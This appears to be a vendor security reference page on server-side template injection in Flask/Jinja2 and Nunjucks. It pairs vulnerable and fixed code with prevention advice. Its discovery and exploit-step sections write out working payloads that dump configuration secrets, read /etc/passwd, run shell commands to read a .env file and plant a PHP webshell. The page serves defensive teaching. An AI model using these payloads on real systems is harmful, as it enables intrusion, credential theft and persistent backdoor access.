Server Side Template Injection (SSTI)
Server Side Template Injection (SSTI) at a glance
Overview
SSTI occurs when applications render data as a template rather than plain text. Attackers can execute template expressions, access object graphs, and sometimes achieve code execution. Features like preview endpoints, CMS blocks, email designers, or custom theming are common sources.
Where it occurs
It appears when handlers call functions like render_template_string, createTemplate, or pass user fragments into template engines. Risk increases with powerful expression languages, rich globals, and custom helper functions.
Impact
Depending on the engine and configuration, attackers may read secrets, access environment variables, hit the filesystem, or even run OS commands through exposed helpers.
Prevention
Eliminate compiling templates from user input. Select templates from a small allowlist, keep contexts minimal, and avoid registering helpers that perform unsafe operations. Where supported, run in a sandboxed environment and disable or restrict expression features.
Examples
Switch tabs to view language/framework variants.
Rendering user-supplied template string executes Jinja expressions
User input is treated as a Jinja template, which can access objects and functions.
from flask import Flask, request
from flask import render_template_string
app = Flask(__name__)
@app.post('/preview')
def preview():
tpl = request.form.get('tpl','')
return render_template_string(tpl) # BUG- Line 7: User controls the entire template string
Treating input as a template allows execution of template expressions and access to server data.
from flask import Flask, request, abort
from jinja2.sandbox import SandboxedEnvironment
app = Flask(__name__)
JINJA = SandboxedEnvironment(autoescape=True)
ALLOWED_TEMPLATES = {"welcome":"Hello {{ user }}"}
@app.post('/preview')
def preview():
key = request.form.get('key','')
if key not in ALLOWED_TEMPLATES: abort(400)
tpl = ALLOWED_TEMPLATES[key]
return JINJA.from_string(tpl).render(user='example')- Line 6: Use allowlisted templates with a sandboxed environment
Do not render user-provided templates. Use allowlists or a sandbox with strict data and function exposure.
Engineer Checklist
-
Never call string-based render APIs on user input
-
Use allowlisted templates referenced by key
-
Keep template context minimal and safe
-
Avoid registering helpers that touch OS, network, or filesystem
-
Prefer sandboxed template environments when available
End-to-End Example
A CMS preview endpoint renders arbitrary template strings so content editors can test blocks. An attacker submits a template that reads environment variables and server data.
// Python/Flask + Jinja2 - Vulnerable SSTI
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/api/preview', methods=['POST'])
def preview_template():
# VULNERABLE: Rendering user-supplied template string
# Attacker sends: {{ config.items() }} to leak app config
# Or: {{ ''.__class__.__mro__[1].__subclasses__() }} for code execution
template = request.json.get('template', '')
# DANGEROUS: render_template_string evaluates Jinja2 expressions!
result = render_template_string(template, username='demo')
return {'rendered': result}
# Node.js/Express + Nunjucks - Also vulnerable
const nunjucks = require('nunjucks');
app.post('/api/email-preview', (req, res) => {
const emailTemplate = req.body.template;
// VULNERABLE: Compiling user template
// Attacker sends: {{ range.constructor("return global.process.env")() }}
const env = nunjucks.configure({ autoescape: true });
const compiled = nunjucks.renderString(emailTemplate, {
username: req.user.name,
email: req.user.email
});
res.json({ preview: compiled });
});// Python/Flask + Jinja2 - Secure template handling
from flask import Flask, request, render_template
from jinja2.sandbox import SandboxedEnvironment
app = Flask(__name__)
# SECURE: Predefined template allowlist - never compile user input!
TEMPLATE_MAP = {
'welcome': 'templates/welcome.html',
'notification': 'templates/notification.html',
'report': 'templates/report.html'
}
@app.route('/api/preview', methods=['POST'])
def preview_template():
# SECURE: User selects template by key, not content
template_key = request.json.get('template_key', '')
# SECURE: Validate against allowlist
if template_key not in TEMPLATE_MAP:
return {'error': 'Invalid template'}, 400
# SECURE: Use render_template with fixed file path
# This loads from filesystem, not user input!
template_path = TEMPLATE_MAP[template_key]
# SECURE: Minimal context - only provide necessary data
context = {
'username': 'demo',
'date': '2024-01-15'
# No access to config, globals, or dangerous objects
}
result = render_template(template_path, **context)
return {'rendered': result}
# SECURE: If you must render dynamic content, use sandboxed environment
from jinja2 import Environment
from jinja2.sandbox import SandboxedEnvironment
@app.route('/api/custom-message', methods=['POST'])
def custom_message():
# User provides CONTENT (data), not TEMPLATE (code)
user_message = request.json.get('message', '')
# Validate and sanitize
if len(user_message) > 500:
return {'error': 'Message too long'}, 400
# SECURE: Load fixed template, insert user content as data
fixed_template = 'templates/message_card.html'
# User content is inserted as ESCAPED DATA, not template code
context = {
'message': user_message, # Jinja2 auto-escapes by default
'author': request.user.name
}
result = render_template(fixed_template, **context)
return {'rendered': result}
# SECURE: For advanced cases, use sandboxed environment with restricted context
def render_with_sandbox(template_name, context):
# SECURE: SandboxedEnvironment restricts dangerous operations
sandbox = SandboxedEnvironment(
loader=app.jinja_loader,
autoescape=True # CRITICAL: Enable autoescaping
)
# SECURE: Whitelist-only context - no access to app internals
safe_context = {
'username': context.get('username', ''),
'data': context.get('data', {})
# No __class__, __mro__, config, request, etc.
}
template = sandbox.get_template(template_name)
return template.render(**safe_context)
// Node.js/Express + Nunjucks - Secure template handling
const nunjucks = require('nunjucks');
const path = require('path');
// SECURE: Configure Nunjucks with safe settings
const env = nunjucks.configure('templates', {
autoescape: true, // CRITICAL: Auto-escape HTML
throwOnUndefined: false,
trimBlocks: true,
lstripBlocks: true,
noCache: false // Cache templates for performance
});
// SECURE: Template allowlist
const ALLOWED_TEMPLATES = {
'welcome': 'welcome.njk',
'notification': 'notification.njk',
'email': 'email_base.njk'
};
app.post('/api/email-preview', authenticateSession, (req, res) => {
const templateKey = req.body.template_key;
// SECURE: Validate against allowlist
if (!ALLOWED_TEMPLATES[templateKey]) {
return res.status(400).json({ error: 'Invalid template' });
}
const templateFile = ALLOWED_TEMPLATES[templateKey];
// SECURE: Minimal, safe context - no dangerous globals
const context = {
username: req.user.name,
email: req.user.email,
// No access to process, require, global, etc.
};
try {
// SECURE: Render fixed template file with safe context
const rendered = env.render(templateFile, context);
res.json({ preview: rendered });
} catch (error) {
res.status(500).json({ error: 'Rendering failed' });
}
});
// SECURE: For user-provided CONTENT (not templates)
app.post('/api/custom-email', authenticateSession, (req, res) => {
const subject = req.body.subject;
const message = req.body.message; // User's MESSAGE, not template code
// Validate input
if (!subject || subject.length > 200) {
return res.status(400).json({ error: 'Invalid subject' });
}
if (!message || message.length > 5000) {
return res.status(400).json({ error: 'Invalid message' });
}
// SECURE: Use fixed template, insert user content as DATA
const context = {
subject: subject, // Auto-escaped by Nunjucks
message: message, // Treated as data, not code
sender: req.user.name
};
// SECURE: Fixed template path
const rendered = env.render('email_custom.njk', context);
res.json({ preview: rendered });
});
// SECURE: Alternative - use a restricted template language
const Handlebars = require('handlebars');
app.post('/api/generate-report', authenticateSession, (req, res) => {
const templateKey = req.body.template;
// SECURE: Handlebars is more restricted than Jinja2/Nunjucks
// No direct access to prototype chain or constructors
// Load fixed template
const templateSource = fs.readFileSync(
path.join(__dirname, 'templates', `${templateKey}.hbs`),
'utf8'
);
const template = Handlebars.compile(templateSource);
// SECURE: Limited context
const context = {
title: req.body.title,
data: req.body.data,
user: {
name: req.user.name,
email: req.user.email
}
};
const result = template(context);
res.json({ report: result });
});
// SECURE: Disable dangerous helpers and globals
env.addGlobal('process', undefined); // Remove process access
env.addGlobal('require', undefined); // Remove require
env.addGlobal('global', undefined); // Remove global
// SECURE: Content Security Policy for rendered templates
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; script-src 'self'; object-src 'none';"
);
next();
});Discovery
This vulnerability is discovered by injecting template expression syntax (like {{7*7}}) into user input fields and observing whether the application evaluates the expression server-side, returning calculated results instead of the literal string.
-
1. Baseline template rendering test
httpAction
Submit normal text to understand how application handles template input
Request
POST https://cms.example.com/api/previewHeaders:Content-Type: application/jsonBody:{ "template": "Hello World" }Response
Status: 200Body:{ "rendered": "Hello World", "note": "Text rendered without interpretation" }Artifacts
template_endpoint_found rendering_confirmed -
2. Template expression evaluation test
httpAction
Inject basic arithmetic expression to test for server-side evaluation
Request
POST https://cms.example.com/api/previewHeaders:Content-Type: application/jsonBody:{ "template": "{{ 7*7 }}" }Response
Status: 200Body:{ "rendered": "49", "note": "Expression evaluated server-side! Response shows '49' instead of '{{ 7*7 }}' - SSTI confirmed" }Artifacts
ssti_confirmed expression_evaluation server_side_execution -
3. Template context exploration
httpAction
Access template context variables and global objects
Request
POST https://cms.example.com/api/previewHeaders:Content-Type: application/jsonBody:{ "template": "{{ config }} {{ request }} {{ self.__dict__ }}" }Response
Status: 200Body:{ "rendered": "<Config {'ENV': 'production', 'DEBUG': False, 'SECRET_KEY': 'dev-secret-key-12345', 'DATABASE_URI': 'postgresql://admin:Pr0dP@ss...'}> <Request 'https://cms.example.com/api/preview' [POST]> {'_TemplateReference__context': <Context ...>}", "note": "Configuration object with secrets exposed, request context accessible" }Artifacts
config_disclosure secret_key_exposed template_context_mapped -
4. Template engine identification
httpAction
Test Jinja2-specific syntax to confirm template engine
Request
POST https://cms.example.com/api/previewHeaders:Content-Type: application/jsonBody:{ "template": "{{ ''.__class__.__mro__ }}" }Response
Status: 200Body:{ "rendered": "(<class 'str'>, <class 'object'>)", "note": "Python class hierarchy accessible - Jinja2/Flask template engine confirmed" }Artifacts
engine_identified_jinja2 class_hierarchy_accessible python_objects_exposed
Exploit steps
An attacker exploits this by injecting malicious template expressions that access server-side objects and methods, escalating to arbitrary code execution by leveraging template engine internals to invoke system commands or read sensitive files.
-
1. Extract sensitive configuration
Access Flask config and environment variables
httpAction
Dump application secrets via template context
Request
POST https://cms.example.com/api/previewHeaders:Content-Type: application/jsonBody:{ "template": "{% for key, value in config.items() %}{{ key }}: {{ value }}\\n{% endfor %}" }Response
Status: 200Body:{ "rendered": "ENV: production\nDEBUG: False\nSECRET_KEY: flask-secret-key-production-xyz789\nDATABASE_URI: postgresql://admin:Pr0dP@ssw0rd2024@db.internal:5432/cms_prod\nAWS_ACCESS_KEY_ID: AKIAIOSFODNN7EXAMPLE\nAWS_SECRET_ACCESS_KEY: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\nSTRIPE_SECRET_KEY: sk_live_51HxYz3FGHxYz3FG\nMAIL_PASSWORD: smtp_pass_2024\nJWT_SECRET_KEY: jwt-super-secret-key-123", "note": "All application secrets and credentials exposed" }Artifacts
database_credentials aws_keys stripe_key jwt_secret complete_config_dump -
2. File system access via template injection
Read sensitive files using Python file objects
httpAction
Leverage template engine to access server filesystem
Request
POST https://cms.example.com/api/previewHeaders:Content-Type: application/jsonBody:{ "template": "{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}" }Response
Status: 200Body:{ "rendered": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\napp-user:x:1000:1000:CMS Application:/home/app-user:/bin/bash\npostgres:x:999:999:PostgreSQL:/var/lib/postgresql:/bin/bash", "note": "/etc/passwd contents successfully read via file object access" }Artifacts
file_read_capability passwd_file_disclosed filesystem_access -
3. Remote code execution via subprocess
Execute arbitrary OS commands through template
httpAction
Escape template sandbox to invoke system commands
Request
POST https://cms.example.com/api/previewHeaders:Content-Type: application/jsonBody:{ "template": "{{ ''.__class__.__mro__[1].__subclasses__()[396]('cat /app/.env',shell=True,stdout=-1).communicate()[0].strip() }}" }Response
Status: 200Body:{ "rendered": "DATABASE_URL=postgresql://admin:Pr0dP@ssw0rd2024@db.internal.example.com:5432/production\nREDIS_URL=redis://cache.internal.example.com:6379\nAWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE\nAWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\nSTRIPE_SECRET_KEY=sk_live_51HxYz3FGHxYz3FG", "note": "Arbitrary command execution achieved - .env file read via shell command" }Artifacts
rce_confirmed command_execution sandbox_escape subprocess_access -
4. Establish webshell backdoor
Write PHP webshell for persistent access
httpAction
Use SSTI to create backdoor file on server
Request
POST https://cms.example.com/api/previewHeaders:Content-Type: application/jsonBody:{ "template": "{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/assets/shell.php','w').write('<?php system($_GET[\"cmd\"]); ?>') }}" }Response
Status: 200Body:{ "rendered": "29", "note": "29 bytes written - webshell created at /var/www/html/assets/shell.php", "verification": "curl https://cms.example.com/assets/shell.php?cmd=id\nuid=33(www-data) gid=33(www-data) groups=33(www-data)" }Artifacts
webshell_installed persistent_backdoor remote_access_established file_write_capability
Specific Impact
Attackers may read secrets, tokens, or service configuration. In engines with powerful expression languages or dangerous helpers, they may achieve remote code execution.
This can lead to data theft, lateral movement, and persistent access through backdoors injected into templates.
Fix
Replace string-based rendering of user input with allowlisted templates. Minimize the template context and remove powerful helpers. Where possible, run the engine in a sandbox, but prefer designs that avoid compiling untrusted templates in the first place.
Detect This Vulnerability in Your Code
Sourcery automatically identifies server side template injection (ssti) vulnerabilities and many other security issues in your codebase.
Scan Your Code for Free